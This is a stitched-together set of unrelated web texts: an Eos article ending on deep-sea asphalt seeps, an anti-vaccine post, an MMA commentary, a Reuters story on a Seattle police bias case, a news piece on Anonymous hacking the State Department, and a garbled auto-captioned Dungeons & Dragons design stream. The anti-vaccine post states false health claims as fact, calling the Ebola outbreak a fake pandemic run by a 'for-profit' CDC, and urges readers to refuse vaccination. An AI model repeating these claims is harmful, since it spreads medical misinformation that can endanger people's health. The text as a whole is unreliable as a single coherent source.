Conservation Prospects  Escobar, who serves on the Legal and Technical Commission of the International Seabed Authority, said that to conserve both the seeps and the species they host, researchers need to better understand how far the asphalts extend and how they change in space and time.  The Mexican government is increasing the extent of marine protected areas off its coasts, Escobar said, and should also ensure that these unique ecosystems are included within those zones. According to MacDonald, informing both the Mexican public and the international community about the importance of these ecosystems might help protect them.  “I think the international public should be engaged to recognize yet again an example of the diversity, beauty, and complexity of deep sea environments,” he said.  —Lauren Lipuma, Contributing Writer  Citation: Lipuma, L. (2016), Asphalt volcanoes erupt in slow motion, Eos, 97, doi:10.1029/2016EO048095. Published on 15 March 2016.
-Another pandemic scam is being orchestrated by the corrupt CDC, the World Health Organization and big pharma . . .via the mainstream propaganda machine!  SAY NO TO AN EBOLA VACCINE!  Over the past few decades the Center for Disease Control (CDC), the World Health Organization (WHO) and their partners at big pharma have attempted many times to get a ‘pandemic’ off the ground that would include forced vaccinations.  Over the past year, they have succeeded in convincing hospitals and clinics to require their employees take an unnecessary and risky flu shot as a condition of their continued employment. This was a huge and very profitable coup for big pharma. [Employee opt out info.]  Never underestimate the power of big pharma when it comes to influencing policies in America. The only lobbying interests with more clout are AIPAC and the banking industry.  If the American people continue to believe the dog and pony shows that play out in the main stream media, they will find themselves duped into accepting a dangerous vaccine that is NOT WARRANTED as safe or effective by the drug company that produces it.  Drug companies have been granted immunity from any and all damages their vaccine products cause. [Supreme Court: Bruesewicz vs Wyeth]  So who will insure that an ebola vaccine is safe or effective and who will insure that it won’t do more harm than good? NO ONE!  While there are many good people accepting paychecks from the CDC or the public health industry, they have been intentionally misled by those that control these institutions. As they may also be required to accept an unsafe ebola vaccine – or else – they will be well served by understanding a few FACTS about the CDC . . . and ebola.  The CDC is a for-profit corporation listed on Dun and Bradstreet The CDC promotes vaccines with full awareness that the vaccine manufacturers are immune from all liability should their products cause harm, or even death. [Bruesewitz v. Wyeth (2011)] The CDC owns a patent on the Ebola virus, which would include patent rights on a vaccine [1] The CDC, the WHO and the media are currently broadcasting fake ebola pandemic news and statistics [2] as they did during the fake swine flu pandemic in 2009. [3] The CDC knowingly deceives both health practitioners and the public about the dangers of vaccines, such as information that was buried after their Simpsonwood conference in 2000 [4] and other information exposed by CDC whistleblowers like Dr David Lewis [5] The CDC produces propaganda campaigns using a ‘playbook’ [6] The CDC wastes millions of dollars in ‘perks’, revealed by a congressional committee [7] The CDC hires unscrupulous researchers to create bogus studies, such as Dr Poul Thorsen [8] The CDC does not serve the public, but implements political agendas and policies on behalf of those that control the White House [9] The CDC offers financial bounties to state public health entities and even has employees working in their offices [10] The CDC ignores congressional reports and/or hearings, such as the Burton Report of 2003 [11] The CDC actively discredits/destroys reputable researchers, such as Dr Andrew Wakefield [12] The CDC hires private think-tank corporations, such as RAND, to produce phony “consensus” science reports [13] [14] The CDC has a long and nasty relationship with the CIA [15]  Don’t fall for the Ebola Scare. Take your vitamin C, gets lots of sun (vitamin D), eat healthy, sleep well, follow the 10 step pandemic psyop by reading: Ebola – same game – same playbook, and help neutralize this nefarious scam by exposing it.  Above all . . . don’t accept a dangerous and toxic ebola vaccine (and the liability that goes with it) that is not warranted by the manufacturer as either safe or effective!!  Half-page brochure of this page  ENDNOTES:  [1] http://www.naturalnews.com/046290_Ebola_patent_vaccines_profit_motive.html  [2] Information/proof at TruthSector.com; http://truthsector.wordpress.com/category/ebola/  [3] Former WHO employee and editor of Global Reseach.CA exposes the WHO: http://www.globalresearch.ca/the-h1n1-swine-flu-pandemic-manipulating-the-data-to-justify-a-worldwide-public-health-emergency/14901  [4] Exposé by Robert Kennedy, Jr; http://www.globalresearch.ca/vaccinations-deadly-immunity/14510  [5] See book Science for Sale by CDC whistleblower Dr David Lewis  [6] See research from Dr Sherri Tenpenny’s book Fowl; http://parentsagainstmandatoryvaccines.wikispaces.com/EBOLA++-+same+game+-+same+playbook  [7] See “CDC Off Center” report by Senate Subcommittee on Federal Financial Management; http://proliberty.com/observer/20070609.htm  [8] Exposé by Robert Kennedy, Jr; http://www.huffingtonpost.com/robert-f-kennedy-jr/central-figure-in-cdc-vac_b_494303.html  [9] Interview with CDC whistle-blower Dr David Lewis; http://www.thelibertybeacon.com/2014/06/24/the-shocking-truth-epacdc-whistleblowers-story-tlb-recorded-interview-included/  [10] Exposé by pharmacist Kristine Severyn; Profits not science motivate vaccine mandates  [11] The 2003 Burton Report; http://vaccines.procon.org/sourcefiles/Burton_Report.pdf  [12] Interview with CDC whistle-blower Dr David Lewis; http://www.thelibertybeacon.com/2014/06/24/the-shocking-truth-epacdc-whistleblowers-story-tlb-recorded-interview-included/  [13] http://www.nvic.org/NVIC-Vaccine-News/August-2014/DHHS-Funded-RAND-Corp–Study–An-Inside-Job.aspx  [14] See: Expert ‘consensus’ reports are scientific mumbo jumbo  [15] See: The CDC and the CIA: a close and sick relationship  Advertisements
-The MMA world is one where Lord Chaos reigns supreme and Saturday afternoon before UFC 213 saw the mystical one's hand at work.The sport's passionate fan base was shaken up to learn of UFC women's bantamweight champion Amanda Nunes being forced out of her championship tilt with Valentina Shevchenko at UFC 213 due to illness.FloCombat confirmed the initial reports, then received word from sources close to the situation that Nunes experienced difficulty regaining weight after a difficult cut down to the bantamweight limit.Yet, while the jeers and disappointment hit social media platforms, there came a stir from the back, as UFC President Dana White announced women's strawweight champion Joanna Jedrzejczyk had offered to step up and take the fight in Nunes' absence."Joanna Champion" later doubled down on the notion with a social media post of her own, which served to spawn a heroic narrative of how the scrappy Polish champion was doing her damndest to step up and save the day.[instagram url="https://www.instagram.com/p/BWTEG3AF8rM/?taken-by=joannajedrzejczyk&hl=en" hide_caption="0"][tweet url="https://twitter.com/Patrick_Wyman/status/883778114467135488" hide_media="0" hide_thread="1"][tweet url="https://twitter.com/BitaNick/status/883770386198007808" hide_media="0" hide_thread="1"]The notion was awesome and easy to buy into. A dominant champion only in Las Vegas to do promotional work decides to strap on the gloves and fight up two weight classes against a woman who already owns three victories over her outside the UFC.That's storybook sports fantasy shit right there folks. In fact...that's all it is--fantasy.The tweets by White and Jedrzejczyk Saturday afternoon with the clock ticking down gave us a glimpse of the promotional game operating at its slickest. There were myriadreasons why the Nevada State Athletic Commission would never allow the strawweight champion to step in on less than 24 hours notice, but those were details that didn't seem to stick with most fight fans.Furthermore, FloCombat confirmed with NSAC Chief Bob Bennett the UFC never even attempted to get a bout between Jedrzejczyk and Shevchenko pushed through. They knew plenty well this wouldn't happen, but throwing out the social media bits they did served a greater purpose in the larger game.In the entire lemons-to-lemonade scenario, pushing the Jedrzejczyk-stepping-up narrative only served to further the gangster reputation the Polish fighter has earned with fists, blood, elbows, knees and sweat.Furthermore, there's no doubt in this writer's mind Jedrzejczyk could have very well been serious about agreeing to fight Shevchenko, but there was no way that bout was taking place on Saturday night in Las Vegas, and it's hard to imagine the women's 115-pound champion wasn't aware of that fact.But she played the game, and why not? There is no downside to this for "Joanna Violence" and the move could very well set up a pivotal showdown down the road if she makes the jump to the 125-pound weight class the UFC has been rumored to open in the coming year.Pushing the "save the day" narrative only helps to further her mystique, and that should absolutely be applauded.And for fans who jumped on the excitement of the moment they hoped would unfold...it's good on your part as well. Fight fans pay money, tune in, operate on Twitter to watch, love and stay connected to the fight game. No one can blame the eager masses for wanting some flatout badassery when a dumptruck of bad news was dropped moments before.It's the passion that makes fight fans special. And to that, I say never relent.That said, watching those who should damn well know better push a fake story is troublesome.MMAFighting.com's Marc Raimondi put out a tweet from NSAC killing that idea, just as our own Elias Cepeda got quotes from Mr. Bennett echoing the same notion, but new headlines kicked up, and more tweets fired out crediting Joanna Jedrzejczyk for attempting to save the day.And for this I'll once again quote NSAC's Bob Bennett, "The UFC did not request a replacement for Nunes."There you go. That's a look behind the Wizard's curtain. The great game continues.Play on.
-By Eric M. Johnson  SEATTLE (Reuters) - A white Seattle officer should be fired for biased and improper policing after she arrested an elderly black man using a golf club as a cane during a walk last summer, the director of a police watchdog group said on Tuesday.  The Office of Professional Accountability found Seattle patrol officer Cynthia Whitlatch engaged in biased policing, among other policy violations, when she arrested William Wingate, now 70, last July, the group's civilian director Pierce Murphy said.  "After careful review and consideration of all the evidence, I recommended that the Chief of Police sustain the allegations and end the involved officer's employment," said Murphy.  The recommendations come after a U.S. District Court approved new de-escalation policies for the Seattle police department, which has been under federal monitoring for excessive force.  They also follow the deaths of several black men at the hands of white police officers in cities across the United States, which have fueled street protests critical of the police's use of force.  In Seattle, Wingate sued the city and the arresting officer, seeking about $750,000 in damages for racial discrimination, violation of his civil rights and "substantial humiliation, mental and emotional distress." The case is pending.  Wingate, a military veteran who requires a cane to walk, was using the golf club as a crutch, according to court papers. His arrest sparked protests. Charges against Wingate were dropped after his arrest and the police department has apologized.  The lawsuit says Whitlatch lied when she alleged he swung the golf club at her. Nowhere in a roughly seven-minute police dashboard camera video can he be seen swinging the club.  A police officer familiar with the ongoing investigation declined to discuss the matter in detail but said Whitlatch was notified on Monday she faces possible termination.  Whitlatch, who was placed on paid administrative leave following the arrest, will have the opportunity to present her case next month to Chief Kathleen O'Toole, who will make a final decision on the course of discipline, Murphy said.  Murphy said the investigation did not specifically include a Facebook message she appeared to post after the incident in which Whitlach described black paranoia over white people being "out to get them."  The department has since implemented "a fairly clear and strong policy" barring officers from making comments on social media that are detrimental to the agency's values, Murphy said.  (Reporting by Eric M. Johnson in Seattle; Editing by Lisa Lambert in Washington)
-While you were sleeping last night, Anonymous hacked into the U.S. State Department’s website, reportedly in the name of fallen comrades Aaron Swartz and recently arrested members of LulzSec. Personal data – including names, email addresses and phone numbers of hundreds of State Department staffers – were leaked online to the ZeroBin website.  The group also allegedly hit the investment firm George K. Baum and Company, which has ties to Stratfor, the private intelligence service that worked with the CIA (another former target of the group).  In that attack, Anonymous also published the account data and transaction information of the bank’s users. The OpLastResort Twitter account says attacks are payback for the death of Aaron Swartz. “This tragedy is basis for reform of computer crime laws and the overzealous prosecutors,” they write on the group’s Twitter bio.  But in an ironic twist, “Operation Last Resort” may have very unintended consequences.  Domino Effect  Will this attack finally wake up the U.S. government to the threat of online attackers? Last night’s hack might galvanize lawmakers to support the CISPA bill and introduce even harsher Internet laws. And that kind of overreaction could cause more damage than the attacks themselves.  This latest attack comes on the heels of Anonymous defacing sites owned by the Massachusetts Institute of Technology, the United States Sentencing Commission, and the Federal Reserve. Anonymous also tried but failed to hit the broadcast of the State of the Union speech last week.  So the wheels for enacting draconian laws may already be in motion. Anonymous, which champions Internet freedom, may have just pushed the Web down a dark shaft.  Worse yet, Anonymous also claims to possess “warheads,” codes to unlock encrypted files said to contain sensitive government data, allegedly obtained during the Jan. 25 hack of the U.S. Sentencing Commission site.  Under President Obama’s new cyberlaw mandate, these actions are cyber threats, punishable by severe action. How far is the government willing to go? And what will be the ultimate effect on our civil liberties?  Image courtesy of Shutterstock.
-hey everyone and welcome back to the my  girls happy fun hour I remain your host  Mike morals franchise creative director  on Dungeons & Dragons and this week we  are going to continue looking at the  Sion character class we’ve spent a few  weeks on this and before we dive in I  have a quick question for everyone  hello chat the question for you why  you’re all typing in your greetings  consider this so we’ve been doing the  Sion for a while  and I kind of feel like this is probably  the light I think last week I said I’d  maybe spend two more weeks on it but I  think this might be it might make sense  for this week to tackle the the shaper  you can see I have the phrase at whale  summoning and that’s gonna be our first  can trip we’re gonna tackle what I  thought we would do today is go through  and look at some of the canned trips for  summoning what those can look at  essentially well summoning that’s not  really the shippers doing but that’s  mechanically what is the best match and  then talk about what that subclass looks  like and then I think from there it’s  gonna be a lot of just boring desk work  for me so what I like to do what I like  to do is I’m gonna like bring in some  enlightened self-interest I like to  think that as I’m working on my campaign  I’m running a campaign set in an  interval on Fridays if you know that  into your veil it was the world the  fourth edition D&D and I’m adapting what  do you call it the keep on the shadow  fell but I’m making a higher level so I  have some undead monsters I want to  design for it so I thought would it be  fun if after we work on this because  I’ve kind of shown you how to design a  class a very rough way if I did some  monster design so chiming to chat me  think monster designs sounds good as  kind of our next topic so we’ve been  doing character stuff since we started  so the who we got here so let’s see what  monster design however Simoes design  okay I’m seeing all yeses and what I  will do is what I want to do is take a  few of those undead creatures and throw  some stuff around them because I thought  it will be fine yeah  yeah okay so it’ll be fun and I think  will be fun too is I could take I kind  of share the entire process from start  to finish and not just the mechanics but  also how the story works and in this  case I think it would be fun a game  phantom diem but itching for the  artificer you might not well hey I can  spell anything we’ll see we’ll see the  but the one of the nice things about  monster designed as I can kind of show  you what it really looks like in terms  of how we often reproach monster design  having a piece of art working at the  story stuff and then it’s just kind of  walk through some of the mechanical  elements alright so I’m seeing a lot I’m  seeing people like seem to think that’s  cool okay cool um cool nice really  spoiler part of his earner first the  artificer might be uh we’ll see we’ll  see  there might be an artifice or design  somewhere on our network drives that  might be due for you soon I don’t want  to say anything okay I’ll just come on  say it well no I won’t come and say yeah  I’ll come on say it’s an artifice of  design there isn’t it there was a  revision we have made it revision the  challenge now is and this is something  which you look at the process we’re  going through the silent building a  class is a lot to it so where we are  right now at that is it’s got a revision  based on feedback from a lot of sources  from the play test feedback and then  from a few back from other designers and  then now it has to go through a  refinement phase and this is important  at this stage especially it’s something  as big as the artificer if there’s just  some obvious mistakes in the class we  get everything revved up we throw it up  for you a we could ever in prime to play  test and if there’s just obvious broken  stuff that means the play test feedback  is going to be just more right it’s not  gonna go anywhere the they call me Tomo  no spoilers and what the actual casting  thing is I’m not gonna say yeah because  I want Crawford to have a chance to look  through it  I want Kate to have a chance to review  it and really dig into it so I’m not  gonna those some of the things I changed  still stuff might still change but I  have done another draft for the  artificer the so the anyways let’s get  the sign on dunya’s exactly okay so next  we could be monsters  we’ll start doing some monsters I’ll  show you that process but let’s here  talk about the taeyeon so we talked  about the shaper being the subclass that  essentially now mechanically we’re going  to think of it like summoning but what  we want the flavor to be is that I am  plucking things out of my imagination or  your imagination and making them real  and making them do stuff now this is the  important thing I think when we think  summoning it’s very easy to get caught  in I summon a thing and it beats people  up I mean that’s definitely a very  useful version of summoning believe me  but there’s also space for more utility  I summon something that can’t fly so it  picks me up and carries me somewhere so  I want to make sure we’re capturing that  too especially for class that’s gonna be  really a sub classes can be really  focused on this ability putting some  flexibility and they’ll be really good  because then we just don’t have I just  things are doing my fighting for me and  also it gets us maybes we’ll see maybe  some flexibility and how we’re actually  limiting these things so first things I  want to do yeah the are changed Eric  we’re making Foster’s Home for Imaginary  Friends it’s exactly these are this is  your imaginary friend that comes to life  and that’s what I see the at-will  summoning doing oh no don’t I don’t need  a ch3 any core body usually you’re  better behaved than that alright so yeah  that’s basically what any we write you  summon your imaginary friend now if  you’re familiar with our process here  the first thing we need to do we start  designing maybe just a let’s go to new  stuff let’s take a look at what exists  in the game already right there are a  number of summoning spells out there so  we turn to a handy-dandy D&D Beyond  which is and I gotta say I you know a  total commercial mode right now but I  love using the adeney beyond for design  because it does make just searching  yourself easier  the it’s nice being let’s go through all  spells and we are just going to go  through and do our filter up spell  targets right there I always forget and  we’re just gonna go down to  pretty sure summon spinning is a filter  now let’s filter all our spells so this  is a good starting point we want to  check out we want to do is you know if  you’re familiar with the show you get to  hear me say this again what we want to  do is look at what levels do certain  things come in so checking these things  out now we have fine steed find  familiars I’m not I’m gonna ignore that  one because it’s a bit of a outlier in  terms of its utility infestation is  using the summoning key word but it’s  really it’s not actually summoning  things it’s really the flavor and it’s  just driving home that flavor so we’re  gonna skip fine steed well we’ll go back  to it but what I want to focus on is  conjure animals third-level so what  we’re saying here is that with a  third-level spell now uh let’s see I’m  gonna go so my head doesn’t get in the  way I’m gonna do this so I want to take  some notes here just to get us a sense  here of what we have what’s going on and  what we’re saying here with this spell  is it a third level I can get one cr2  creature so I’m just gonna do a very  quick and dirty table here just so we  can I don’t want h3h3 is just like  busting in today I wants to be  everywhere let’s just go core body easy  let’s go still know this a spell level  and then see our so whatever establishes  and I’m not gonna care too much about  the other ones for right now what I want  to do is just focus on the one for one I  just burned a third level spell I get  one cr2 creature the other two I’ll get  back to those in a sec but we’re not yet  I want to take a look at the other  spells here now whatever you want to do  here I’m gonna skip summon lesser demon  because these are these come with  drawbacks but at fourth we go to mana  elemental and what’s interesting here is  we’re saying at four we’re still seeing  CR two now what’s happening here is  something that I’m gonna say is like a  little it’s soft design what this is  assuming is that elementals by nature of  being the creature type elemental are  going to have more interesting things at  CR two than beasts beasts by design are  very boring they’re generally adjusted  buckets of hit points with some basic  melee attacks  attached to them if there’s any special  abilities they’re pretty minor maybe a  rider on an attack like knocking someone  prone or maybe some sort of sensory  ability so I’m gonna note this right  here that’s CRT that’s a beast and what  I really want here is that you know  what’s just the raw CR so I’m seeing  here before that will spell an elemental  it’s CR 2 so okay it’s not now here’s  the one thing though is it’s not a huge  upgrade going from elephant jarick  elemental to generic beast or vice versa  is not like wow you just doubled its  power it’s more usually what happens is  with summoning one of the things that  will trip you up in D&D is those utility  spells the future might be coming with  and we’ll see that because I think Fay  now phase also at 4th I know this is a  very common problem least I’ve heard  people complained about that some of  these Fei you can bring in you know  you’re dragging in like 8 CR 1/4 faith  at all say can cast cure wounds or  something like that the chat might know  the specific issue people are saying but  and kittens and mittens beets are boring  Merle’s on why wats he hates  Beastmasters range here following that  beast it was the Fae master then we’d be  all we’d be all in so again we’re gating  it here we’re saying a little for spell  that’s worth getting some magic find  greater than greater Steve it’s like the  king of the horses I don’t know what the  spell does oh ok so this is kind of  intro can’t see you know this is gonna  be hilarious because I forgot the spell  exists xanthus got everything on it’s at  Zenith IRAs book they added it’s at  aftermarket like year 3 expansion the so  this is kind of interesting so we’re  getting a kindest thing fight I forget  let’s see 10 is 5 total combat I get  telepathically uber blah drops to  dismiss it okay doesn’t seem to see  anything here that it says I can’t make  this tell us into fight so this is we’re  gonna kind of backdoor this in what’s  the Griffin the CR see ours too great  they’re all gonna be to watch this is  gonna be like every summoning spell just  gets er to the okay yeah they come we’ll  take it can fight okay yeah  last thing I need is Jeremy busting Kyle  just gimme yeah this is a flood well  this is a flying but these are flying  creatures though but that doesn’t why  wouldn’t I just summon these things and  fly them look I’m complaining up my own  game this is classy but wait a sec okay  wait a sec see these conjure and all  does it have a restriction see are two  giant boar and Asura Sabretooth oh these  guys are monstrosity czar they I might  be completely whipping on that is a  Griffin what Strasse monstrosity or is  it a beast  this is gonna be this yeah it’s a  monstrosity okay there we go so again  we’re getting this segregated here so  basically we’re putting a lot of a lot  of weight on that creature type a lot  more than I didn’t I care for personally  not personally professionally saying  like has a dungeon has a game designer  that’s probably more going here so good  ok now we’re up to see our six well  that’s a big jump so we went from so  elemental level 5 up to see our six Wow  okay that’s a big jump this is gonna be  interesting to try to balance well look  at the duration of fine good oh is one  of those things that’s like buried the  durations much longer because I think  I’m just gonna snore m’l eyes my oh this  is a minute  Wow okay this is this is something that  irritate I got it okay so these are all  this is why we have one minute one hour  find greater seat is 10 minutes  instantaneous conjurer’s one minute this  is one action this is it’s a little all  over the place okay so here’s the thing  this is not not a berry this as an  opportunity opportunity for us to make  something work a bit better  yeah Conger Fay a minute I get why it’s  a minute it’s really so you don’t do in  the middle of a fight but it’s  concentration so that’s all really gonna  kind of throttle what else you can do  alright opportunities there’s lots of  opportunities here there is lots of  opportunities here we can do a lot of  stuff here that will make something a  lot more fun because there’s a lot of  like how it takes a minute oh I want to  I want to get a foul on a summon a  Tyrannosaurus Rex hello this is conjure  face  [Laughter]  so yeah it is it is a t-rex okay cool so  anyways this okay okay this is me gender  sputtering on stream right like okay so  you can up gun the spell that’s why the  t-rex shows up okay so let’s go see our  6:00 at 6:00 okay but that’s six there  all right opportunity keep saying that  it’s an opportunity for us to make  something you know this is really funny  because I know people on Twitter  especially it says oh I want to play a  good summoner I’d be like aren’t there  summoning spells in the game but I  personally don’t play a lot of summoners  and this is a corner of the game it’s  like you can imagine if the game is a  house I have I gone into those back  corner room and I’m like it’s really  dusty and like with what’s in here oh  there’s summoning and it takes a minute  I had no idea  I literally last night was cleaning our  garages looking for some miniatures and  this is because I’ve been married for a  while so I’m getting better at this  there was a check my wife did some  photography works someone sent her a  check for it  and I did not know I read I did not  realize I had put the check out in the  garage with some of my miniatures I  accidentally picked it up and put in a  box and so much here’s looking for it  and so when I said I found it and she  said where was it and I said oh it was  behind the fridge I’m not gonna tell her  I took your check and just put it out in  the garage with a bunch of my my rail  parth of miniatures I was sorting  because I’m a goofball like this okay  alright my new this happened it was this  summer I knew I meant to make it this  way and this is here okay it’s a  celestial force in cr4 okay so this is  all over the place this is really  interesting case again opportunity right  what we’re seeing here though is I am  going to just be blunt I’m gonna ignore  these spells beyond getting a sense of  where the CR is because what’s happening  here and this is something that I am not  necessarily a fan of InDesign for old  playing games and I know why we did this  here right and this is a case of you  know we did this five years ago  essentially there would have been some  adjustment in two and fourteen before  the game released but this is something  where don’t be afraid to look back at  something you didn’t go I don’t really  like how I did that that’s okay that  means you’re learning hey I’m learning  right and it’s I’m not I’m not trying to  be lame and be like that’s my excuse for  doing it this way this is something  where somebody was a real Bears  specially in third edition that’s a pun  by the way so you can look him laughs  the COS needs someone to bear the actual  eat someone a whale it’s a whale of a  good time the sum in the whale and you’d  block off a hallway with a huge creature  even bigger and then it would just flop  around and die but still a barrier but  anyway so this is pride era where we’re  very very cautious because in designing  the entire game system the there’s a lot  of questions you have to ask spells in  in particular you know when you look at  the game where we are now in 2018 you’ve  seen a lot more sub classes come out in  terms of you a you have not seen as many  spells in terms of our focus and the  challenge being a single spell can  really disturb the balance of the game  but it’s very tricky to get play test  feedback on say 50 new spells as opposed  to two new subclasses or one new  subclass whatever it is that we’re doing  so with spells in fifth we were probably  a lot not probably I know this because I  worked on the game we were a lot more  cautious about pushing things and  summoning this was a great example of we  decided to throttle back a bit on it to  make it more situational what these like  we know casting times of a minute to  really make it something that you had to  plan on rather than something that you  could just do and I can see here okay so  Kandra woodland being is an action that  that’s what’s going on here  yeah the tricky thing is as a player I  can admit as a player I don’t like  having multiple axes I have to use two  meant to measure things I also don’t  like the surprise factor I like hey if  I’m a player scrolling through  oh hey fine see that looks cool and you  forget it’s got a ten minute casting  time so this is like a warrant warrant  moment in the game you’re like oh hey  the guys are chasing us condors fine  steed i’ll cast will get it warmer so no  it actually takes ten minutes and it’s  got all this stuff what’s going on so  what I want this guy to do is is instant  summons like I want I want this to just  be instantly summon you friend or  servant  that’s what we want now here’s the trick  to this Oh once I regard you – I’m  putting suggest as an H case 2011 action  spider accrual 4080 xx oh yeah so here’s  something I threw about 12 in fighting  on Twitter if you don’t follow me on  Twitter  oh and there’s a question tridents from  black ace 13 and I actually wanna get to  that one the okay so do two things  I suggest don’t weapon fighting that on  Twitter that instead of costing a bonus  action because as I’ve hammered home  many times if you’ve watched the stream  to weapon the bonus action economy can  get kind of messy with two up and  fighting often class features require a  bonus action to activate it something  that can be defining like rage which  means a great weapon fighting character  you feel bad I would like you know how  would that work without a bonus action  so the idea is if you’re – I’ve been  fighting in place of an attack you make  two attacks but your damage gets  decremented down in a well elegant  simple way and the elegant simple way is  what’s kind of struggling here but there  are cases where that could probably lead  to lot of attacks quick question about  the Trident so I’ve seen them a few  people ask well that why is the Trident  such a crappy weapon the Trident is in  the game not because we strive to make  the Trident a an interesting weapon that  sits alongside the spear and the sword  the Trident in the game something  because our aquatic creatures wield it  and it’s really a flavor thing we felt  that putting a lot yeah I felt and  people seem to agree that if we’re gonna  show arts abus to you again or Triton or  merfolk who has a trident  but then call it a spear and thus taplok  that might be a little bit disconnect so  that’s all that weapon is literally in  the game because we have aquatic  creatures that use trident  we actually didn’t want you to make it  feel like he was a great weapon that  would be a natural thing that would use  now you could argue that maybe that  wasn’t a great case but like in some  ways the weapon list serves two purposes  it serves characters basically I like  that what weapon I want to use it and  then it also always serves the monsters  so anyway while that’s going on here’s  we want favor for at will summoning want  clear utility things have a clear use  have a function beyond combat the can  fight instantly summon a friend or  servant I’m probably gonna say you know  restrict this to one creature as default  I think a lot of the shenanigans that  come in or one like I can get multiple  creatures twelve or is it gonna be a non  creature summoning option yeah I think  that’s something which would be cool cuz  essentially these are gonna be  constructs can be almost anything and  that frees up a lot of design space for  us so you could say I’m gonna summon a  dancing sword I’m gonna summon a giant  you know rolling Boulder to crash  through people and move around the got  like a big bees hands say ciao Mart so  gets a good comparison so the this is  essentially what we want to do and when  I think of at will summoning this is  where and this is where I think this  sort of this sort of benefit I get as I  put spell slots into this what I think  at will summoning does is it a costs to  your action that’s like yeah cost your  action action on an ongoing basis higher  level summoning lets you stack things on  top of your actions so what I mean by  that is this I have an apples someone  have this imaginary friend I want to  call into being and make them do  something I think if you think of the  unseen servant spell yeah had her feign  unseen servant being something along  those lines except I wanted to be able  to fight um you know otherwise I don’t  really feel like a summoner if we’re  they what I’m doing is just I can move  stuff around but I can do that with  mange hand so I have this creature I can  bring it into existence like I sculpt it  I can make it fight it’s gonna cost me  my action to make it fight the benefit I  get benefit I get that was that creature  is gonna occupy a space so if I’m you if  you’re miniatures player if you use  miniatures in your game you probably  instantly need to know that benefit as a  party we can control an extra square we  probably have to put a tax on that  though  so I’m going to throw this other thing  in here at will summoning comes with  some damage feedback what does that mean  you might ask well I think what that  what that means is that if I summon a  creature and it’s at will I haven’t  invested any magic into it my name our  resources that could you gets killed I  need to take a drawback that could be  damage it could be something like I lose  concentration for a time I’m in favor of  damage that’s fast and easy as a player  to assess I’m not looking for this to be  a lot of damage what I just want to do  is stop you from infinitely blocking a  doorway the size limit northland Cal  that’ll be something that we’ll play  with as we go to higher levels so that’s  something where we don’t want you to  just round up to round him to keep  blocking the doorway and essentially  have a damaged sponge because that’s the  other benefit and let’s actually take a  quick step back so I realized I’m doing  all this stuff thinking of the benefits  of summoning this is why summoning is so  tricky because it’s got a lot of  follow-on benefits you know a fireball  just does damage that’s it’s doing  damage if you want it to do something  else like set a building on fire or  something the DMS to kind of start  adjudicating this but summoning comes  there’s a lot of things baked in it’s  extra hit points for the party so a  summoning a summon creature comes with  having hit points so I can attack it I’m  essentially creating a buffer for the  party  if so think of this scenario the party  is in a dungeon they open a door there’s  five goblins the shaper goes first they  throw a summon creature into the doorway  the goblins rush up with their swords  one or more of the goblins has to spend  their actions essentially dealing with  that summoned creature again it’s very  powerful a can trap and lets me cancel  essentially it’s letting you cancel an  attack at no cost is very good canceling  an attack at a cost so in this case  damage means I can use that but I have  to use it judiciously and if I’m using  it a lot it’s going to drain other party  resources so what we want to make sure  is we’re just not giving you a very big  benefit and denying attacks is a big  benefit if you can put your enemy in a  position where they cannot attack you  that’s and you can attack them back  that’s fantastic that something you’ll  do all day  so we’ve got to make sure that we take  an account into that it’s more area  control so again it’s if think of if  you’re using grid grid in a minute and  miniatures  it’s another miniature on the table for  the party the so that’s not as big but  it still can be pretty useful and it’s  extra actions just do more stuff right  if you have your adding essentially  member to the party it just gives you  more flexibility if you think of the  party has it’s a group that has X number  of actions to use each round adding more  actions that’s always just a good thing  there is vanishingly few cases that  aren’t contrived we’re having those  extra actions is actually drawback I  mean at worst it’s neutral example you  need to open a door that’s one action  okay I could have 50 actions or five  actions or one as long as I have one I  can open the door so but typically  scaling those up I have more actions  means I can open that door we can go  through and I can do something else so  now there are some limits to it but  we’re not those limits look more like  adding eight to twelve extractions not  one one is always always beneficial so  we have to account for that too and  that’s why you see often you know the  actually here’s something really we  should look at let’s say and someone  mentioned it because of the fae in the  beasting let’s take a look at everyone’s  favorite character class the Ranger  everyone for definitions of people who  like Rangers you see a lot of the  discontent people who don’t like the  Beastmaster almost all the things that  they don’t like about this design and go  back to that list that I just rattled  off so let’s take a look at our  companion though a third level you gain  a beast companion that accompanies you  on your adventures and is trained to  fight alongside you choose a beast that  is no larger than medium so that’s an  important thing we don’t want you  getting a large beast large creatures  especially use miniatures are super  useful to have in your party because  they just they command four spaces party  of four that’s essentially I’ve doubled  the number of spaces I can control an a  grid it makes it very easy to clean  clothes off passages things like that  challenge one quarter or lower oh that’s  something I’m gonna write down there too  that’s going to be kind of our  I’m trying to put Ranger here to note  that and set 1/4 that’s a little 3  there’s gonna do note that I’ll remember  or chat you’ll remind me ok so so you  get some bonuses ok we’re adding your  your proficiency bonus just because we  want to make sure it doesn’t go you know  sideways so we’re giving it some hit  point cushioning here but our base thing  is 1/4 so this is essentially the hit  points and the proficiency are just  there to let this thing’s scale up so  it’s not you do have to recycle it or  you don’t have to worry about it it’s  becoming useless the lot of people to  argue this is just not very useful to  start with it can understand you sure it  can spend hit dice so it takes its turns  on your initiative though it doesn’t  take an action less you command it to on  your turn you can verbally command the  beast or to move no action required by  you you can use your action to verbally  command it to attack – whatever take  much of actions the and that’s using  your action and so it’s getting back  this idea of adding extra actions to the  party pool the thinking here and you can  see that same reluctance to really  embrace this idea of summoning that we  saw in the spells with like the 10  minute casting times and cr2 being kind  of our ceiling and once we hit CR 2 we  just started changing other things in  the spells to make them better  casting time or type of creature you’re  seeing this play out here in the Ranger  and you’re seeing based on what we saw  in the reaction to this design a lot of  people just not happy with this they  just didn’t feel like they were getting  a creature that was their companion they  felt like they were getting a robot with  a remote control attached to it and you  were remote controlling a robot I think  that for me that’s kind of  metaphorically where I feel it is and  yeah it’s and that share DVI this is a  great point all right the problem is  this is made for people who want a pet I  want to pet and then I get a pet and I  get a kind of a pet that sort of lame  and I was just having the discussion  with someone today about a character  race someone was working on and  realizing that the way the design was  configured if you rarely played that  race like maybe you played that race  once it was work fine but if you’re the  type of player who said oh this is my  favorite type of character to play oh  I’m gonna play these guys and connect  year I’m gonna play four different  characters and all them will be this  type of character ooh the way it was  designed is like oh that’s actually  feels kind of lame like it feels fun the  first time but the second when you make  I feels a little to say me so that is  definitely something that is designed  you need to think about that in terms of  the player that you’re aiming to act not  just in terms of what they like but in  terms of over the course of several  campaigns how will this stand up so he’s  0 cuz spiritual basically spiritual  weapon is a streamline but pseudo  version of summoning there might be  something there the well I want to take  a look that actually bring in creatures  I want to make this work because I think  we can make this work 